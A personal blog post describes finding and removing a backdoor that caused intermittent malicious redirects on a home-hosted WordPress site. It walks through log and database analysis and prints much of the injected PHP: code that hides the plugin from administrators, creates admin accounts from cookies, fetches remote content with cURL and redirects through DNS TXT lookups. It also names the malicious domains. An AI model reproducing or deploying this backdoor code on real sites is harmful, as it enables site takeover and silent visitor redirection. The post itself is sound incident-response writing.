Hacker Dad and Home Website Security

I manage my own webserver via docker and have a wordpress blog for each of my kids (eg lauren.theboohers.org) Yea dad! Well, I noticed that loading my son’s blog (david.theboohers.org) would occasionally redirect. I’m sharing how I dealt with this so you might save some time and pain.

What is the problem?

Over the past couple of days, I noticed an unusual issue with my son’s WordPress site. When attempting to load his site, instead of resolving to the expected domain, it redirects to a suspicious URL, but only once on each different computer.

//tapest.sampden.site/?utm_term=7479977427683246171&tid=4d6163496e74656c#0

This URL then immediately redirects again to another address:

//cyclonesurakkha.com/landers/dvsdfvsdff/17e80009-1383-4430-8c0c-7bbe8733f7b/?zxcv=174157b6896159707ea6b58e2e20d12043b6a67969&domain=panulmi-dev.com&clickid=cv73fn388mbc73bdpgp0&osv=Mac%20OS%20X&language=en-US&lang=en-US&bcid=cv73fn388mbc73bdpgp0.
Oh no! What on earth should we do!?

This final destination is clearly malicious. The URL structure includes random strings, tracking parameters (utm_term, clickid, tid), and what appears to be an obfuscated or dynamically generated path (17e80009-1383-4430-8c0c-7bbe8733f7b). Domains like sampden.site and cyclonesurakkha.com are not associated with my son’s site and strongly suggest a redirect hack, a common tactic used by attackers to divert traffic to spam, phishing, or malware-laden pages.

This behavior points to a compromise within the WordPress installation. Malicious redirects like these are often the result of injected code—typically JavaScript or PHP—inserted into the site’s files or database by exploiting vulnerabilities. Potential entry points could include outdated plugins, themes, or WordPress core files, weak admin credentials, or even a server-level breach (e.g., via .htaccess modifications). The redirect chain also appears conditional, possibly targeting specific user agents, devices (noting osv=Mac%20OS%20X), or first-time visitors, which is a tactic used to evade detection by site admins who might not see the redirect when logged in which explains the intermittent behavior. Super tricky/cool!

Analysis

The easiest thing to do is to install wordfence and do a scan, but that didn’t find anything malicious. Again, we got a complicated exploit here.

To figure this out, I first looked at my access.log from nginx. it’s filled with entries like:

85.208.96.210 - - [13/Feb/2024:03:11:36 +0000] "GET /page/9/?page=12 HTTP/1.1" 200 47523 "-" "Mozilla/5.0 (compatible; SemrushBot/7~bl; +http://www.semrush.com/bot.html)" "-"

185.191.171.9 - - [13/Feb/2024:03:11:44 +0000] "GET /2014/07/19/www.arpc.afrc.af.mil/home/hqrio.aspx/www.arpc.afrc.af.mil/home/hqrio.aspx/www.arpc.afrc.af.mil/home/hqrio.aspx/?paged=16 HTTP/1.1" 404 20875 "-" "Mozilla/5.0 (compatible; SemrushBot/7~bl; +http://www.semrush.com/bot.html)" "-"

So what is this? These entries from an Nginx server log provide valuable insights into web traffic and potential security issues. Each log entry captures detailed information about an incoming HTTP request, including the originating IP address, the timestamp, requested URL, HTTP method, protocol used, status code returned, data transferred, referring URL, and the client’s user-agent string. For example, the entry above shows the IP 85.208.96.210 successfully (status 200) requesting /page/9/?page=12 via an HTTP GET request, indicating a typical crawling action from SemrushBot, a known SEO indexing bot. Another entry from IP 185.191.171.9 attempted to access a suspiciously formatted URL resulting in a 404 status, indicating the requested resource didn’t exist, which could suggest automated scanning for vulnerabilities.

So to make sense of all this, I downloaded a 3GB log file and put it in a database with this code:

But that is too much data, so I made a view for the last 10 days:

CREATE VIEW logs_last_10_days AS
SELECT *
FROM logs
WHERE timestamp >= NOW() - INTERVAL '10 days';

And I wanted a table of valid redirects:

CREATE VIEW valid_http_logs AS
SELECT *
FROM logs_last_10_days
WHERE request_method IN ('GET', 'POST', 'HEAD', 'OPTIONS', 'PUT', 'DELETE');

Now time to get to work. I want to see what requests are generating 404’s:

SELECT request_uri, COUNT(*) AS occurrences
FROM logs
WHERE status_code = 404
GROUP BY request_uri
ORDER BY occurrences DESC
LIMIT 20;

and that gives me:

request_urioccurrences
/?author=18704
/.env5786
/?author=25481
/wp-content/plugins/WordPressCore/include.php4475
/?author=34233
/RDWeb/Pages/4181
/wp-includes/images/include.php3822
/wp-includes/widgets/include.php3780
/?author=43537
/?author=53512
/.git/config3204
/admin.php2819
/users/sign_in2783
/robots.txt2618
/wp-content/plugins/core-plugin/include.php2585
/simple.php2505
/+CSCOE+/logon.html2317
/2017/03/10/three-way-troubleshooting/2301
/wp-content/themes/include.php2269
/wp-content/plugins/include.php2258

So you can see a mix of automated scans, bot activity, and attempts at exploiting common vulnerabilities. For example, repeated requests to URLs such as /?author=1, /wp-content/plugins/include.php, or /wp-includes/widgets/include.php suggest attackers or scanners probing for WordPress vulnerabilities or configuration mistakes, trying to access sensitive paths that don’t exist. These repeated “author” parameter requests (?author=1, ?author=2, etc.) often indicate automated scanning tools that enumerate usernames to discover login credentials. Similarly, attempts to access files like include.php inside wp-content and wp-includes folders are known patterns targeting known vulnerabilities in poorly maintained WordPress installations. Other URLs like RDWeb/Pages/ point to automated vulnerability scans targeting Microsoft Remote Desktop Web Access interfaces.

I did a ton of other log analysis, and didn’t find anything there.

My guess this smells like a client-side JavaScript redirect injected into the WordPress site rather than an Nginx-level rewrite. That would explain why my Nginx logs don’t show the redirect explicitly—I’m likely seeing 200 responses for the initial page load, and the browser handles the rest.

So the log files don’t have any data. Time to look in the actual wordpress database:

SELECT option_name, LEFT(option_value, 500) AS preview
FROM wp_options
WHERE option_name IN ('siteurl', 'home')
OR option_value LIKE '%tapest.sampden.site%'
OR option_value LIKE '%cyclonesurakkha.com%'
OR option_value LIKE '%<script%'
OR option_value LIKE '%eval(%'
OR option_value LIKE '%base64_decode%';

This query displays the first 500 characters of any option values that might contain unexpected scripts, encoded data, or even external URLs. The output immediately flagged a suspicious entry under the option name wpcode_snippets. When I inspected the content of wpcode_snippets, I saw a lengthy, obfuscated PHP code snippet. This snippet included calls to functions like eval(), base64_decode(), and even logic that could conditionally create a new administrator account if certain cookie values were present (they weren’t).

Dads with Skillz

This led me to the plugin responsible for managing these code snippets. It turns out that the Insert Headers and Footers plugin—now often referred to as WPCode Lite—has had documented security issues in the past. Vulnerability reports (e.g., from Search Engine Journal Search Engine Journal and WPScan.

This plugin that wasn’t in the usual location (wp‑content/plugins) but instead was tucked away in an unexpected directory—specifically under wp‑content/uploads/wpcode. By placing the malicious plugin (or its remnants) in a less-scrutinized folder (like wp‑content/uploads), attackers avoid detection and bypass automatic updates or admin panel listings. This hidden plugin (a compromised version of WPCode Lite/Insert Headers and Footers) was used to inject and persist malicious code (as seen in the wpcode_snippets option). Its presence enabled the attacker to execute arbitrary PHP code (via eval and base64_decode), create backdoor admin accounts, and otherwise manipulate the site without obvious traces.

I discovered it by running file searches (e.g., find . -type d -name “wpcode*”), which revealed a directory under wp‑content/uploads.

Let’s look at the exploit. (This is very interesting for me.)

SELECT option_value FROM wp_options WHERE option_name = 'wpcode_snippets';

Produces:

First, the snippet is stored as a serialized array. The outer structure begins like this:

a:1:{s:10:"everywhere";a:1:{i:0;a:12:{s:2:"id";i:78; ...
$_pwsa = 'a516c9f37ca86f549b3cdff68167e708';

This means that under the key “everywhere”, there is one snippet with several properties (id, title, code, etc.). The important part here is the code field that holds 6836 characters of PHP code. The next line acts as a “password” or token that the exploit uses for validating incoming requests.

Immediately following, the code checks if the current user is an administrator and if a certain GET parameter is not set:

if (current_user_can('administrator') && !array_key_exists('show_all', $_GET)) {
add_action('admin_head', function () {
echo '<style>';
echo '#toplevel_page_wpcode { display: none; }';
echo '#wp-admin-bar-wpcode-admin-bar-info { display: none; }';
echo '#wpcode-notice-global-review_request { display: none; }';
echo '</style>';
});

add_action('wp_head', function () {
echo '<style>';
echo '#toplevel_page_wpcode { display: none; }';
echo '#wp-admin-bar-wpcode-admin-bar-info { display: none; }';
echo '#wpcode-notice-global-review_request { display: none; }';
echo '</style>';
});

add_filter('all_plugins', function ($plugins) {
unset($plugins['insert-headers-and-footers/ihaf.php']);
return $plugins;
});
}

The snippet adds inline styles via admin_head and wp_head hooks to hide UI elements with IDs like #toplevel_page_wpcode and #wp-admin-bar-wpcode-admin-bar-info. This makes the malicious backdoor “invisible” to site administrators. It also adds a filter to the all_plugins array to remove an entry for insert-headers-and-footers/ihaf.php. This is an attempt to hide the compromised plugin from the WordPress admin interface.

The code then checks if a helper function _red() is already defined; if not, it disables error reporting and defines several helper functions. By setting error reporting to 0 and turning off display errors, the snippet ensures that if any issues occur during execution, they won’t be visible—helping the attacker remain hidden. The helper _gcookie() retrieves a cookie and decodes it from base64. This is used later for authentication and triggering backdoor actions.

if (!function_exists('_red')) {
error_reporting(0);
ini_set('display_errors', 0);

function _gcookie($n)
{
return (isset($_COOKIE[$n])) ? base64_decode($_COOKIE[$n]) : '';
}

Next, the snippet checks if the cookie ‘pw’ matches the previously set token ($_pwsa). If it does, it looks at another cookie (‘c’) to decide what action to take. The snippet uses the cookie ‘pw’ as a secret. If it matches the hard-coded value (a516c9f37ca86f549b3cdff68167e708), the code proceeds.

When _gcookie(‘c’) returns ‘au’, it retrieves cookies for username (u), password (p), and email (e). If valid and the username doesn’t already exist, it calls wp_create_user() and assigns the new user an administrator role. This effectively gives the attacker a backdoor admin account.

    if (!empty($_pwsa) && _gcookie('pw') === $_pwsa) {
switch (_gcookie('c')) {
case 'sd':
$d = _gcookie('d');
if (strpos($d, '.') > 0) {
update_option('d', $d);
}
break;
case 'au':
$u = _gcookie('u');
$p = _gcookie('p');
$e = _gcookie('e');

if ($u && $p && $e && !username_exists($u)) {
$user_id = wp_create_user($u, $p, $e);
$user = new WP_User($user_id);
$user->set_role('administrator');
}
break;
}
return;
}

The snippet then performs additional checks:

  • It avoids interference when the request URL is part of wp‑login (to not disrupt normal login).It checks for a cookie named “skip”, and if present with value “1”, it returns early.
  • It defines functions _is_mobile(), _is_iphone(), and _user_ip() to gather client information like user agent and IP address.
  • It defines a simple XOR encryption/decryption function, xorEncryptDecrypt(), which is later used to decode part of a parameter.

The core of the backdoor is the _red() function, which is hooked to the init action:

    function _red()
{
if (is_user_logged_in()) {
return;
}

$u = isset($_GET['u']) ? $_GET['u'] : '';
$p = isset($_GET['p']) ? $_GET['p'] : '';
if (function_exists('curl_init') && strlen($u) > 4 && $p === "a516c9f37ca86f549b3cdff68167e708") {
$hash = md5(substr($u, 4));

if (substr($u, 0, 4) === substr($hash, 0, 4)) {
$link = xorEncryptDecrypt(hex2bin(substr($u, 12)), substr($u, 4, 8));

if (substr($link, 0, 4) === 'http') {
$ch = @curl_init();
@curl_setopt($ch, CURLOPT_URL, $link);
@curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = @curl_exec($ch);
@curl_close($ch);

$j = json_decode($output);
if ($j !== null) {
if (isset($j->headers)) {
foreach ($j->headers as $header) {
header($header);
}
}
if (isset($j->body)) {
echo base64_decode($j->body);
}
}
}
}
exit(0);
}

If the GET parameters include u (with sufficient length) and p exactly equals the hard-coded token, the function calculates a hash from part of u and then uses the XOR decryption function to derive a URL ($link). If the decoded link begins with “http”, it initializes a cURL request to fetch content from that URL, decodes the response, sends any specified headers, and outputs the decoded body. This mechanism allows the attacker to control what content is served to a visitor or to execute further remote commands. After handling the GET request, the script calls exit(0) to stop further processing, ensuring that the backdoor’s action is the only thing executed.

Oh boy. After the remote command block, the function:

  • Retrieves the visitor’s IP address.
  • Loads a transient option (exp) and purges old entries.
  • Constructs a string ($req) using the host, IP, random number, and device type.
  • Uses a dynamically built call (through string concatenation) to perform a DNS TXT lookup on that constructed string.
  • If a TXT record is found, it decodes it from base64:
  • If it equals “err”, it sets a transient to throttle further actions.
  • Otherwise, if the decoded string starts with “http”, it triggers a redirect (wp_redirect($s)) and exits.

This TXT lookup technique is sometimes used by attackers to store dynamic commands or configuration data remotely, using DNS as a covert channel. By storing timestamps in a transient, the code prevents repeated execution from the same IP within a 24‑hour window. (clever)

Finally, the script registers the _red() function with WordPress’s init action. Every time WordPress initializes (i.e. on each page load), this function runs. If the proper GET parameters or cookies are present, the attacker’s code executes—either creating an admin user or redirecting the visitor.

add_action('init', '_red');

Let’s summarize. An attacker exploited a vulnerability in the “Insert Headers and Footers (WPCode Lite)”—to inject a serialized malicious snippet into my WordPress database’s wp_options table. The injected code was designed with stealth in mind: it output CSS to hide critical admin UI elements, removed the compromised plugin from the active plugins list, and suppressed errors to evade detection. I later found that the backdoor was activated when specific conditions were met—for example, when a visitor sent a GET request with certain parameters (with one matching a hard-coded token), the snippet decrypted part of the request to form a URL and used cURL to fetch and display remote content or perform a redirect. In another scenario, if a cookie named ‘pw’ matched the token and another cookie indicated an action, the snippet created a new administrator account using additional cookie data. Furthermore, the malicious code gathered visitor details like IP addresses and device types and even performed DNS TXT lookups to receive dynamic commands, allowing the attacker to control the exploit while throttling repeated use from the same IP. This explains why the redirect was intermittent.

Actions Taken

MariaDB [david_wordpress]> DELETE FROM wp_options WHERE option_name = 'wpcode_snippets';
Query OK, 1 row affected (0.004 sec)

# now check

MariaDB [david_wordpress]> SELECT * FROM wp_options WHERE option_name = 'wpcode_snippets';
Empty set (0.001 sec)

# remove the plugin
user@cromwell:/srv/rufus$ sudo rm -rf /srv/rufus/david_public_html/wp-content/uploads/wpcode/
user@cromwell:/srv/rufus$ find /srv/rufus/david_public_html -type d -name "wpcode*"
# empty

# added to my nginx.conf for his site:
location = /xmlrpc.php {
deny all;
}
# check
curl -I https://david.theboohers.org/xmlrpc.php
HTTP/2 403
server: nginx
date: Fri, 14 Mar 2025 03:32:02 GMT
content-type: text/html
content-length: 146
x-frame-options: SAMEORIGIN
x-xss-protection: 1; mode=block
x-content-type-options: nosniff
referrer-policy: no-referrer-when-downgrade

I also checked for hidden admin users in the database.

Problem fixed for now, but this stuff is subtle and tricky. Be safe out there.

Leave a Comment